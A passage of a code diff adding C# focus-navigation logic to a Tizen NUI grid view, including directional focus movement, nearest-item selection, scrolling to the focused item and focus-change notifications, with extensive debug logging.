+            Tizen.Log.Fatal("NUI", ">>>>>>>>> direction: " + direction + " fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex);
+            Cell currentCell = GetCellByItemIndex(fromGroupIndex, fromItemIndex);
+
+            //adjust focused column index based on reference line
+            Group currentGroup = groupList.ElementAt(fromGroupIndex);
+            int currentColumnIndex = currentCell.columnIndex;
+            Column currentColumn = currentGroup.columnList.ElementAt(currentColumnIndex);
+
+            int destFocusGroupIndex = -2, destFocusItemIndex = -2;
+            int destFocusColumnIndex = -1;
+            switch (direction)
+            {
+                case "Up":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (currentCell.rowIndex == 0)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else
+                    {
+                        Cell nextCell = currentColumn.cellList.ElementAt(currentCell.rowIndex - 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+
+                    break;
+                case "Down":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (currentCell.rowIndex >= currentColumn.cellList.Count - 1)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else if (fromItemIndex == currentGroup.itemList.Count - 1)
+                    {
+                        destFocusColumnIndex = currentColumnIndex - 1;
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex + 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+                    else
+                    {
+                        Cell nextCell = currentColumn.cellList.ElementAt(currentCell.rowIndex + 1);
+                        destFocusItemIndex = nextCell.itemIndex;
+                    }
+
+                    break;
+                case "Left":
+                    if (currentCell.columnIndex == 0)
+                    {
+                        if (fromGroupIndex == 0)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex - 1;
+                            Group nextGroup = groupList.ElementAt(destFocusGroupIndex);
+                            destFocusColumnIndex = nextGroup.columnList.Count - 1;
+
+                            Column nextColumn = nextGroup.columnList.ElementAt(destFocusColumnIndex);
+                            if (currentCell.rowIndex >= nextColumn.cellList.Count)
+                            {
+                                Cell nextCell = nextColumn.cellList.ElementAt(nextColumn.cellList.Count - 1);
+                                destFocusItemIndex = nextCell.itemIndex;
+                            }
+                            else
+                            {
+                                Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                                destFocusItemIndex = nextCell.itemIndex;
+                            }
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = currentCell.columnIndex - 1;
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " currentCell.rowIndex: " + currentCell.rowIndex);
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                        destFocusItemIndex = nextCell.itemIndex;
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+                    }
+
+                    break;
+                case "Right":
+                    if (currentColumnIndex == currentGroup.columnList.Count - 1)
+                    {
+                        if (fromGroupIndex == groupList.Count - 1)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex + 1;
+                            destFocusColumnIndex = 0;
+                            Group nextGroup = groupList.ElementAt(destFocusGroupIndex);
+                            Column nextColumn = nextGroup.columnList.ElementAt(destFocusColumnIndex);
+                            Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                            destFocusItemIndex = nextCell.itemIndex;
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = currentColumnIndex + 1;
+
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " currentCell.rowIndex: " + currentCell.rowIndex);
+                        Column nextColumn = currentGroup.columnList.ElementAt(destFocusColumnIndex);
+                        if (currentCell.rowIndex >= nextColumn.cellList.Count)
+                        {
+                            
+                            Cell nextCell = nextColumn.cellList.ElementAt(nextColumn.cellList.Count - 1);
+                            destFocusItemIndex = nextCell.itemIndex;
+                            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex + " currentCell.rowIndex: " + currentCell.rowIndex + " nextColumn.cellList.Count: " + nextColumn.cellList.Count);
+                        }
+                        else
+                        {
+                            Cell nextCell = nextColumn.cellList.ElementAt(currentCell.rowIndex);
+                            destFocusItemIndex = nextCell.itemIndex;
+                            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex + " currentCell.rowIndex: " + currentCell.rowIndex + " nextColumn.cellList.Count: " + nextColumn.cellList.Count);
+                        }
+                    }
+
+                    break;
+                default:
+                    break;
+            }
+
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex + " destFocusItemIndex: " + destFocusItemIndex);
+            GridItem item = null;
+            if (IsGroupIndexValid(destFocusGroupIndex) == true && IsItemIndexValid(destFocusGroupIndex, destFocusItemIndex))
+            {
+                item = groupList.ElementAt(destFocusGroupIndex).itemList.ElementAt(destFocusItemIndex);
+            }
+
+            return item;
+        }
+
+        private void MoveFocus(string direction, int fromGroupIndex, int fromItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> direction: " + direction + " fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex);
+            Cell curFocusedCell = GetCellByItemIndex(fromGroupIndex, fromItemIndex);
+            //change reference line of focus move
+            if (refXForFocusMove == -1)
+            {
+                refXForFocusMove = curFocusedCell.rect.X;
+            }
+
+            if (refYForFocusMove == -1)
+            {
+                refYForFocusMove = curFocusedCell.rect.Y;
+            }
+            
+            //adjust focused column index based on reference line
+            Group focusedGroup = groupList.ElementAt(fromGroupIndex);
+            int focusedColumnIndex = curFocusedCell.columnIndex;
+
+            Column focusedColumn = focusedGroup.columnList.ElementAt(focusedColumnIndex);
+
+            int destFocusGroupIndex = -2, destFocusItemIndex = -2;
+            int destFocusColumnIndex = -1;
+            switch (direction)
+            {
+                case "Up":
+                    destFocusGroupIndex = fromGroupIndex;
+                    if (curFocusedCell.index == 0)
+                    {
+                        destFocusItemIndex = -1;
+                    }
+                    else
+                    {
+                        Cell nextCell = focusedColumn.cellList.ElementAt(curFocusedCell.index - 1);
+                        {
+                            destFocusItemIndex = nextCell.itemIndex;
+                            if (destFocusItemIndex >= 0 && destFocusItemIndex < groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                if (GridType.Horizontal == gridType)
+                                {
+                                    refYForFocusMove = nextCell.rect.Y;
+                                }
+                                else
+                                {
+                                    refXForFocusMove = nextCell.rect.X;
+                                }
+                            }
+                        }
+                    }
+
+                    break;
+                case "Down":
+                    destFocusGroupIndex = fromGroupIndex;
+                    int destCellIndex = curFocusedCell.index + 1;
+                    if (destCellIndex >= focusedColumn.cellList.Count || fromItemIndex == focusedGroup.itemList.Count - 1)
+                    {
+                        destFocusItemIndex = -1;
+                        if (fromItemIndex == focusedGroup.itemList.Count - 1)
+                        {
+                            destFocusColumnIndex = focusedColumnIndex - 1;
+                            Cell cellBelow = FindCellBelow(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex);
+                            if (cellBelow != null)
+                            {
+                                destFocusItemIndex = cellBelow.itemIndex;
+                                refXForFocusMove = cellBelow.rect.X;
+                                refYForFocusMove = cellBelow.rect.Y;
+                            }
+                        }
+                    }
+                    else
+                    {
+                        Cell nextCell = null;
+                        for (; destCellIndex < focusedColumn.cellList.Count; destCellIndex++)
+                        {
+                            nextCell = focusedColumn.cellList.ElementAt(destCellIndex);
+                            {
+                                break;
+                            }
+                        }
+
+                        if (destCellIndex >= focusedColumn.cellList.Count)
+                        {
+                            destFocusItemIndex = -1;
+                        }
+                        else
+                        {
+                            destFocusItemIndex = nextCell.itemIndex;
+                            if (destFocusItemIndex >= 0 && destFocusItemIndex < groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                if (GridType.Horizontal == gridType)
+                                {
+                                    refYForFocusMove = nextCell.rect.Y;
+                                }
+                                else
+                                {
+                                    refXForFocusMove = nextCell.rect.X;
+                                }
+                            }
+                        }
+                    }
+
+                    break;
+                case "Left":
+                    if (curFocusedCell.columnIndex == 0)
+                    {
+                        if (fromGroupIndex == 0)
+                        {
+                            if (StateLeftCircularEnable && true/*check whether  allow to loop*/)
+                            {
+                                destFocusGroupIndex = groupList.Count - 1;
+                                destFocusColumnIndex = groupList.ElementAt(destFocusGroupIndex).columnList.Count - 1;
+
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                int itemCount = groupList.ElementAt(destFocusGroupIndex).itemList.Count;
+                                while (destFocusItemIndex >= itemCount)
+                                {
+                                    destFocusColumnIndex--;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                }
+
+                                bool bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                while (bEnabled == false)
+                                {
+                                    destFocusColumnIndex--;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                    bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                }
+
+                                /*ToDo Left Circular*/
+                                SetFocus(destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                            else
+                            {
+                                destFocusItemIndex = -1;
+                            }
+
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex - 1;
+                            destFocusColumnIndex = groupList.ElementAt(destFocusGroupIndex).columnList.Count - 1;
+
+                            GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                            int itemCount = groupList.ElementAt(destFocusGroupIndex).itemList.Count;
+                            while (destFocusItemIndex >= itemCount)
+                            {
+                                destFocusColumnIndex--;
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                            }
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = curFocusedCell.columnIndex - 1;
+
+                        GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                    }
+
+                    break;
+                case "Right":
+                    {
+                        focusedColumnIndex = curFocusedCell.columnIndex;
+                    }
+
+                    Tizen.Log.Fatal("NUI", ">>>>>>>>> focusedColumnIndex: " + focusedColumnIndex);
+                    if (focusedColumnIndex == focusedGroup.columnList.Count - 1 || focusedColumnIndex == focusedGroup.lastFilledColumnIndex)
+                    {
+                        if (fromGroupIndex == groupList.Count - 1)
+                        {
+                            if (StateRightCircularEnable && true/*check whether allow right circular*/)
+                            {
+                                destFocusGroupIndex = 0;
+                                destFocusColumnIndex = 0;
+
+                                GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+
+                                bool bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+                                while (bEnabled == false && destFocusColumnIndex < focusedGroup.columnList.Count - 1)
+                                {
+                                    destFocusColumnIndex++;
+                                    GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                                    bEnabled = gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex);
+
+                                    refXForFocusMove = refYForFocusMove = -1;
+                                }
+
+                                /*ToDo Left Circular*/
+                                SetFocus(destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                            else
+                            {
+                                destFocusItemIndex = -1;
+                            }
+                        }
+                        else
+                        {
+                            destFocusGroupIndex = fromGroupIndex + 1;
+                            destFocusColumnIndex = 0;
+
+                            GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                        }
+                    }
+                    else
+                    {
+                        destFocusGroupIndex = fromGroupIndex;
+                        destFocusColumnIndex = focusedColumnIndex + 1;
+
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex);
+                        GetNearestItem(curFocusedCell, destFocusGroupIndex, destFocusColumnIndex, ref destFocusItemIndex, true);
+                        Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+
+                        if (StateRightCircularEnable)
+                        {
+                            if (destFocusItemIndex >= groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+                            {
+                                MoveFocus(direction, destFocusGroupIndex, destFocusItemIndex);
+                                return;
+                            }
+                        }
+                    }
+
+                    break;
+                default:
+                    break;
+            }
+
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusGroupIndex: " + destFocusGroupIndex + " destFocusColumnIndex:" + destFocusColumnIndex);
+            if (destFocusGroupIndex >= 0 && destFocusItemIndex >= groupList.ElementAt(destFocusGroupIndex).itemList.Count)
+            {
+                destFocusItemIndex = -1;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> destFocusItemIndex: " + destFocusItemIndex);
+            if (destFocusItemIndex == -1)
+            {
+                //notify event focus move out
+                return;
+            }
+
+            if (gridBridge.IsItemEnabled(destFocusGroupIndex, destFocusItemIndex) == false)
+            {
+                MoveFocus(direction, destFocusGroupIndex, destFocusItemIndex);
+            }
+            else
+            {
+                PushFocus(destFocusGroupIndex, destFocusItemIndex);
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> ");
+        }
+
+
+        private void GetNearestItem(Cell focusedCell, int destGroupIndex, int destColumnIndex, ref int destItemIndex, bool bDirectMove = false)
+        {
+            Group destGroup = groupList.ElementAt(destGroupIndex);
+            Column destColumn = destGroup.columnList.ElementAt(destColumnIndex);
+
+            Cell nextCell = destColumn.cellList.ElementAt(0);
+            int cellCount = destColumn.cellList.Count;
+
+            bool bNotAllItemDisabled = false;
+            for (int i = 0; i < cellCount; i++)
+            {
+                Cell curCell = destColumn.cellList.ElementAt(i);
+                if (curCell.itemIndex >= 0 && curCell.itemIndex < destGroup.itemList.Count)
+                {
+                    if (gridBridge.IsItemEnabled(destGroupIndex, curCell.itemIndex))
+                    {
+                        bNotAllItemDisabled = true;
+                        break;
+                    }
+                }
+            }
+
+            float yDis = gridHeight + 1;
+            bool bFound = false;
+            for (int i = 0; i < cellCount; i++)
+            {
+                Cell curCell = destColumn.cellList.ElementAt(i);
+                if (curCell.itemIndex >= destGroup.itemList.Count)
+                {
+                    break;
+                }
+
+                if (curCell.itemIndex >= 0 && bNotAllItemDisabled)
+                {
+                    if (gridBridge.IsItemEnabled(destGroupIndex, curCell.itemIndex) == false)
+                    {
+                        continue;
+                    }
+                }
+
+                if (curCell.itemIndex < 0)
+                {
+                    Column realColumn = destGroup.columnList.ElementAt(curCell.columnIndex);
+                    Cell realCell = realColumn.cellList.ElementAt(curCell.rowIndex);
+                    if (realCell.itemIndex >= destGroup.itemList.Count || gridBridge.IsItemEnabled(destGroupIndex, realCell.itemIndex) == false)
+                    {
+                        continue;
+                    }
+                }
+
+                if (GridType.Vertical == gridType)
+                {
+                    float tempXDis;
+                    if (StateStraightPathEnable)
+                    {
+                        tempXDis = Math.Abs(curCell.rect.X - refXForFocusMove);
+                    }
+                    else
+                    {
+                        tempXDis = Math.Abs(curCell.rect.X - focusedCell.rect.X);
+                    }
+
+                    if (tempXDis < yDis)
+                    {
+                        bFound = true;
+                        yDis = tempXDis;
+                        nextCell = curCell;
+                        if (yDis == 0)
+                        {
+                            break;
+                        }
+                    }
+                }
+                else
+                {
+                    float tempYDis;
+                    if (StateStraightPathEnable)
+                    {
+                        tempYDis = Math.Abs(curCell.rect.Y - refYForFocusMove);
+                    }
+                    else
+                    {
+                        tempYDis = Math.Abs(curCell.rect.Y - focusedCell.rect.Y);
+                    }
+
+                    if (tempYDis < yDis)
+                    {
+                        bFound = true;
+                        yDis = tempYDis;
+                        nextCell = curCell;
+                        if (yDis == 0)
+                        {
+                            break;
+                        }
+                    }
+                }
+
+            }
+
+            {
+                destItemIndex = nextCell.itemIndex;
+                if (bFound)
+                {
+                    refXForFocusMove = nextCell.rect.X;
+                    if (bDirectMove == false)
+                    {
+                        refYForFocusMove = nextCell.rect.Y;
+                    }
+                }
+            }
+        }
+
+        private string GetLogicalDirection(string direction)
+        {
+            string logicalDirection = direction;
+
+            if (GridType.Vertical == gridType)
+            {
+                if ("Left" == direction)
+                {
+                    logicalDirection = "Up";
+                }
+                else if ("Right" == direction)
+                {
+                    logicalDirection = "Down";
+                }
+                else if ("Down" == direction)
+                {
+                    logicalDirection = "Right";
+                }
+                else if ("Up" == direction)
+                {
+                    logicalDirection = "Left";
+                }
+            }
+
+            return logicalDirection;
+        }
+
+        private Cell FindCellBelow(Cell fromCell, int destGroupIndex, int destColumnIndex)
+        {
+            Group destGroup = groupList.ElementAt(destGroupIndex);
+
+            if (destColumnIndex < 0 || destColumnIndex >= destGroup.columnList.Count)
+            {
+                return null;
+            }
+
+            Column destColumn = destGroup.columnList.ElementAt(destColumnIndex);
+
+            for (int i = 0; i < destColumn.cellList.Count; i++)
+            {
+                Cell destCell = destColumn.cellList.ElementAt(i);
+
+                if (destCell.rect.Y > fromCell.rect.Y && destCell.rect.Y + destCell.rect.Height > fromCell.rect.Y + fromCell.rect.Height)
+                {
+                    {
+                        return destCell;
+                    }
+                }
+            }
+
+            return null;
+        }
+
+        private void SetFocus(int groupIndex, int itemIndex, bool bAnimation = false, Position newItemGroupPos = null)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> groupIndex: " + groupIndex + " itemIndex: " + itemIndex);
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                return;
+            }
+
+            bool bNeedScroll = false;
+            
+            if (newItemGroupPos == null)
+            {
+                Position itemGroupPos = new Position(0, 0, 0);
+                bNeedScroll = GetItemGroupPosByFocusItem(groupIndex, itemIndex, itemGroupPos);
+
+                itemGroupRect.X = itemGroupPos.X;
+                itemGroupRect.Y = itemGroupPos.Y;
+            }
+            else
+            {
+                if (GridType.Horizontal == gridType && itemGroupRect.X != newItemGroupPos.X
+                   || GridType.Vertical == gridType && itemGroupRect.Y != newItemGroupPos.Y)
+                {
+                    bNeedScroll = true;
+                }
+
+                itemGroupRect.X = newItemGroupPos.X;
+                itemGroupRect.Y = newItemGroupPos.Y;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y: " + itemGroupRect.Y);
+            ResetItemGroupRectPos();
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y: " + itemGroupRect.Y);
+            if (bNeedScroll)
+            {
+                Tizen.Log.Fatal("NUI", ">>>>>>>>> bAnimation: " + bAnimation);
+                if (bAnimation == true)
+                {
+                    FocusMoveViaObject obj = new FocusMoveViaObject();
+                    obj.toGroupIndex = groupIndex;
+                    obj.toItemIndex = itemIndex;
+                    focusMoveViaQ.Enqueue(obj);
+
+                    if (gridType == GridType.Horizontal)
+                    {
+                        focusMoveAni.SetDestination("PositionX", itemGroupRect.X);
+                    }
+                    else
+                    {
+                        focusMoveAni.SetDestination("PositionY", itemGroupRect.Y);
+                    }
+
+                    focusMoveAni.Play();
+                }
+                else
+                {
+                    UpdateInMemoryItems();
+                    itemGroup.PositionX = itemGroupRect.X;
+                    itemGroup.PositionY = itemGroupRect.Y;
+                    NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+                }
+            }
+            else
+            {
+                NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+            }
+
+            focusTagGroupIndex = groupIndex;
+            focusTagItemIndex = itemIndex;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+        }
+
+
+        private void PushFocus(int groupIndex, int itemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> groupIndex: " + groupIndex + " itemIndex:" + itemIndex);
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                return;
+            }
+
+            Position itemGroupPos = new Position(0, 0, 0);
+            bool bNeedScroll = GetItemGroupPosByFocusItem(groupIndex, itemIndex, itemGroupPos);
+
+            itemGroupRect.X = itemGroupPos.X;
+            itemGroupRect.Y = itemGroupPos.Y;
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect.X: " + itemGroupRect.X + " itemGroupRect.Y:" + itemGroupRect.Y);
+
+            ResetItemGroupRectPos();
+
+            //focusTag keep move, but real focus will set when focusMoveVia trigger,
+            //so remember context of focus move, include from and to, and itemGroupPos information
+            focusTagGroupIndex = groupIndex;
+            focusTagItemIndex = itemIndex;
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> bNeedScroll: " + bNeedScroll + " itemGroupRect.X:" + itemGroupRect.X + " itemGroupRect.Y:" + itemGroupRect.Y);
+            if (bNeedScroll)
+            {
+                if (gridType == GridType.Horizontal)
+                {
+                    focusMoveAni.SetDestination("PositionX", itemGroupRect.X);
+                }
+                else
+                {
+                    focusMoveAni.SetDestination("PositionY", itemGroupRect.Y);
+                }
+
+                FocusMoveViaObject obj = new FocusMoveViaObject();
+                Tizen.Log.Fatal("NUI", ">>>>>>>>> focusMoveViaQ.Count: " + focusMoveViaQ.Count);
+                Tizen.Log.Fatal("NUI", "::::: " + focusGroupIndex + ", " + focusItemIndex);
+
+                obj.toGroupIndex = groupIndex;
+                obj.toItemIndex = itemIndex;
+                focusMoveViaQ.Enqueue(obj);
+                focusMoveAni.Play();
+            }
+            else
+            {
+                if (focusMoveAni.IsPlaying() == false)
+                {
+                    Tizen.Log.Fatal("NUI", "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ " + groupIndex + " " + itemIndex + " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
+                    NotifyFocusChange(focusGroupIndex, focusItemIndex, groupIndex, itemIndex);
+                }
+            }
+            //To keep focusBar on the top of 
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> ");
+        }
+
+        private bool GetItemGroupPosByFocusItem(int aFocusGroupIndex, int aFocusItemIndex, Position itemGroupPos)
+        {
+            bool bNeedScroll = false;
+            if (!IsItemIndexValid(aFocusGroupIndex, aFocusItemIndex))
+            {
+                return false;
+            }
+
+            Group focusedGroup = groupList.ElementAt(aFocusGroupIndex);
+            GridItem focusedItem = focusedGroup.itemList.ElementAt(aFocusItemIndex);
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> focusedItem.rect: " + focusedItem.rect.X + ", " + focusedItem.rect.Y + ", " + focusedItem.rect.Width + ", " + focusedItem.rect.Height);
+
+            Rect focusBarRectBaseOnList = new Rect(focusedItem.rect.X, focusedItem.rect.Y, focusedItem.rect.Width, focusedItem.rect.Height);
+            focusBarRectBaseOnList.X += itemGroupRect.X;
+            focusBarRectBaseOnList.Y += itemGroupRect.Y;
+
+            itemGroupPos.X = itemGroupRect.X;
+            itemGroupPos.Y = itemGroupRect.Y;
+
+            float startFocusRange;
+            float endFocusRange;
+
+            if (GridType.Horizontal == gridType)
+            {
+                if (0 == focusedItem.rect.X)
+                {
+                    startFocusRange = margin[0];
+                }
+                else
+                {
+                    Tizen.Log.Fatal("NUI", "Left  aFocusItemIndex:: " + aFocusGroupIndex + ", aFocusItemIndex:: " + aFocusItemIndex);
+                    GridItem prevItem = GetItemByDirection("Left", aFocusGroupIndex, aFocusItemIndex);
+                    //Tizen.Log.Fatal("NUI", "startFocusRange :: " + margin[0]);
+                    startFocusRange = prevItem != null ? prevItem.rect.Width / 2 : margin[0];
+                }
+
+                if (itemGroupRect.Width == focusedItem.rect.Right())
+                {
+                    endFocusRange = gridWidth - margin[2];
+                }
+                else
+                {
+                    GridItem nextItem = GetItemByDirection("Right", aFocusGroupIndex, aFocusItemIndex);
+                    //Tizen.Log.Fatal("NUI", "gridWidth::" + gridWidth + "  gridWidth - margin[2] :: " + (gridWidth - margin[2]));
+                    //Tizen.Log.Fatal("NUI", "gridWidth - nextItem.rect.Width / 2 :: " + (gridWidth - nextItem.rect.Width / 2));
+                    endFocusRange = nextItem != null ? gridWidth - nextItem.rect.Width / 2 : gridWidth - margin[2];
+                    Tizen.Log.Fatal("NUI", "endFocusRange :: " + endFocusRange);
+                }
+
+                if (focusBarRectBaseOnList.X < startFocusRange)
+                {
+                    Tizen.Log.Fatal("NUI", "focusBarRectBaseOnList.X :: " + focusBarRectBaseOnList.X + "  startFocusRange :: " + startFocusRange);
+                    itemGroupPos.X += startFocusRange - focusBarRectBaseOnList.X;
+                    bNeedScroll = true;
+                } 
+                else if (focusBarRectBaseOnList.Right() > endFocusRange)
+                {
+                    Tizen.Log.Fatal("NUI", "focusBarRectBaseOnList.Right() :: " + focusBarRectBaseOnList.Right() + "  endFocusRange :: " + endFocusRange);
+                    itemGroupPos.X += endFocusRange - focusBarRectBaseOnList.Right();
+                    bNeedScroll = true;
+                }
+            }
+            else
+            {
+                if (0 == focusedItem.rect.Y)
+                {
+                    startFocusRange = margin[1];
+                }
+                else
+                {
+                    GridItem prevItem = GetItemByDirection("Left", aFocusGroupIndex, aFocusItemIndex);
+                    startFocusRange = prevItem != null ? prevItem.rect.Height / 2 : margin[1];
+                }
+
+                if (itemGroupRect.Height == focusedItem.rect.Bottom())
+                {
+                    endFocusRange = gridHeight - margin[3];
+                }
+                else
+                {
+                    GridItem nextItem = GetItemByDirection("Right", aFocusGroupIndex, aFocusItemIndex);
+                    endFocusRange = nextItem != null ? gridHeight - nextItem.rect.Height / 2 : gridHeight - margin[3];
+                } 
+                
+                if (focusBarRectBaseOnList.Y < startFocusRange)
+                {
+                    itemGroupPos.Y += startFocusRange - focusBarRectBaseOnList.Y;
+                    bNeedScroll = true;
+                } 
+                else if (focusBarRectBaseOnList.Bottom() > endFocusRange)
+                {
+                    itemGroupPos.Y += endFocusRange - focusBarRectBaseOnList.Bottom();
+                    bNeedScroll = true;
+                }
+            }
+
+            return bNeedScroll;
+        }
+
+        private void NotifyFocusChange(int fromGroupIndex,int fromItemIndex,int toGroupIndex,int toItemIndex)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> fromGroupIndex: " + fromGroupIndex + " fromItemIndex: " + fromItemIndex + " toGroupIndex: " + toGroupIndex + " toItemIndex: " + toItemIndex);
+
+            if (IsItemIndexValid(fromGroupIndex, fromItemIndex) && (fromGroupIndex != toGroupIndex || fromItemIndex != toItemIndex))
+            {
+                Group preGroup = groupList.ElementAt(fromGroupIndex);
+                GridItem preItem = preGroup.itemList.ElementAt(fromItemIndex);
+
+                ScaleDownItem(preItem);
+                if (preItem.itemView != null)
+                {
+                    gridBridge.FocusChange(fromGroupIndex, fromItemIndex, preItem.itemView, false);
+                }
+            }
+
+            if (IsItemIndexValid(toGroupIndex, toItemIndex))
+            {
+                Group curGroup = groupList.ElementAt(toGroupIndex);
+                GridItem item = curGroup.itemList.ElementAt(toItemIndex);
+
+                ScaleUpItem(item);
+                if (item.itemView != null)
+                {
+                    Tizen.Log.Fatal("NUI", "Call GridBridge.FocusChange to set focus");
+                    gridBridge.FocusChange(toGroupIndex, toItemIndex, item.itemView, true);
+                }
+            }
+
+            //notify user focus change
+            GridEventArgs evtArgs = new GridEventArgs();
+            evtArgs.EventType = GridEventType.FocusChange;
+            evtArgs.param[0] = fromGroupIndex;
+            evtArgs.param[1] = fromItemIndex;
+            evtArgs.param[2] = toGroupIndex;
+            evtArgs.param[3] = toItemIndex;
+            OnListEvent(evtArgs);
+
+            if (toGroupIndex != -1 && toItemIndex != -1)
+            {
+                focusGroupIndex = toGroupIndex;
+                focusItemIndex = toItemIndex;
+            }
+
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> focusGroupIndex: " + focusGroupIndex + " focusItemIndex: " + focusItemIndex);
+        }
+
+        private void ScaleUpItem(GridItem item)
+        {
+            if (item.itemView == null)
+            {
+                return;
+            }
+
+            item.itemView.RaiseToTop();
+            item.ScaleItem(new Vector3(focusInScaleFactor, focusInScaleFactor, 1.0f), focusInScaleAnimationAttrs);
+        }
+
+        private void ScaleDownItem(GridItem item)
+        {
+            if (item.itemView == null)
+            {
+                return;
+            }
+
+            item.ScaleItem(new Vector3(1.0f, 1.0f, 1.0f), focusOutScaleAnimationAttrs);
+        }
+
+        private void UpdateItemGroupSize()
+        {
+            if (groupList.Count == 0)
+            {
+                return;
+            }
+
+            Group lastGroup = groupList.ElementAt(groupList.Count - 1);
+
